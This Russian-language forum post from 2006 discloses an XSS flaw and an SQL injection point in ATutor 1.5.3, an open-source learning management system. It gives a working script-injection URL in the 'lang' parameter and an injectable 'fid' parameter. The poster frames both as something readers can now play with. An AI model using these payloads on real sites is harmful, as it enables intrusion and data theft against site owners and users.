XSS и SQL injection на ATutor 1.5.3

Discussion in 'Уязвимости' started by Dracula4ever, 10 Jul 2006.

  1. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    ATutor 1.5.3 (http://www.atutor.ca)



    (1)...:XSS...:

    http://TheSite.ru/documentation/index_list.php?lang="><script>alert(/тупой инклуд/)</script>



    (1)...:SQL injection...:

    http://TheSite.ru/forum/index.php?fid=-1[ваш SQL код]



    Я думаю что вы теперь сможете вовесилиться.


    P.S.
    Для тех кто не знает что такое ATutor тогда ATutor является бесплатной Open Source основанной на Web Системой Управления Контентом Обучения разработанной с возможностью обеспечения доступа и адаптации по Вашему желанию.